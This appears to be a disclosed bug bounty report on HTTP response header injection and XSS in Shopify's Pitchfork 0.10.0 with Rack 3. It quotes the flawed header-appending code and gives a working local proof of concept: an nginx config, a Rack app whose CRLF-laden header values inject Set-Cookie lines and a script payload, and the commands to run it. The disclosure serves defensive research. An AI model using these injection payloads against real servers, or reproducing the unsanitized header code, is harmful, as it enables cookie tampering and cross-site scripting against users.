Shopify · Report #2279572
HTTP Response Header Injection in shopify/pitchfork + Rack 3
Summary
HTTP response header injection in Pitchfork version 0.10.0 when used with Rack 3. The vulnerability stems from improper handling of header values containing newline characters \n in the append_header method of the HTTP response module. When Rack 3 was in use, newline characters in values were not properly sanitized and were displayed as-is in the output, enabling header injection. For more details, see the security advisory GHSA-pfqj-w6r6-g86v (CVE-2025-30221).
How it was found
I have confirmed HTTP response header injection and XSS in combination of pitchfork + Rack 3.
Here's where the problem is in the code.
https://github.com/Shopify/pitchfork/blob/v0.10.0/lib/pitchfork/http_response.rb#L23C1-L33C8
def append_header(buf, key, value)
case value
when Array # Rack 3
value.each { |v| buf << "#{key}: #{v}\r\n" }
when /\n/ # Rack 2
# avoiding blank, key-only cookies with /\n+/
value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
else
buf << "#{key}: #{value}\r\n"
end
end
When using Rack 3, \n contained in value will be displayed as is in the output.
PoC
❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]
❯ cat Gemfile
# frozen_string_literal: true
source "https://rubygems.org"
gem 'pitchfork', '~> 0.10.0'%
❯ bundle install
=> install rack (3.0.8)
nginx.conf
events {
worker_connections 16;
}
http {
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://host.docker.internal:3000/;
proxy_redirect off;
}
}
}
injection.ru
class PitchForkHeaderInjection
def call(env)
params = Rack::Request.new(env).params
location = if params["mode"] == "rn"
["a\r\nSet-cookie: injected=value"]
elsif params["mode"] == "r"
["b\rSet-cookie: injected_2=value2"]
elsif params["mode"] == "n"
["c\nSet-cookie: injected_3=value3"]
elsif params["mode"] == "b"
["d\r\n\r\n<script>alert(location)</script>"]
else
[""]
end
[ 200,
{
'content-type' => 'text/html',
'location' => location
},
[""]
]
end
end
run PitchForkHeaderInjection.new
Start server
❯ docker run --name pitchfork_header -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro -d -p 8080:80 nginx
❯ RACK_ENV=production bundle exec pitchfork -p 3000 injection.ru
# If RACK_ENV=production is not present, an error will occur due to Rack::Lint.
Access from browser
http://localhost:8080/?mode=rn
{F2913343}
{F2913344}
{F2913345}
Cookie status
{F2913347}
Header injection succeeds in case of r\n and \n. If only \r, nginx will prevent it.
{F2913349}
Since r\n can be inserted, the response body can also be spoofed and XSS will be fired.
Impact
If attacker can manipulate the redirect destination or cookie value, HTTP response header injection and XSS is possible. (Past cases https://hackerone.com/reports/904059#activity-8945588 )
In the case of Rack 2, the value of \n is not included, and nginx prevents \r, so it is not treated as a vulnerability.
(Discussion on Unicorn https://yhbt.net/unicorn-public/20210226111552.GA22901@dcvr/T/#t )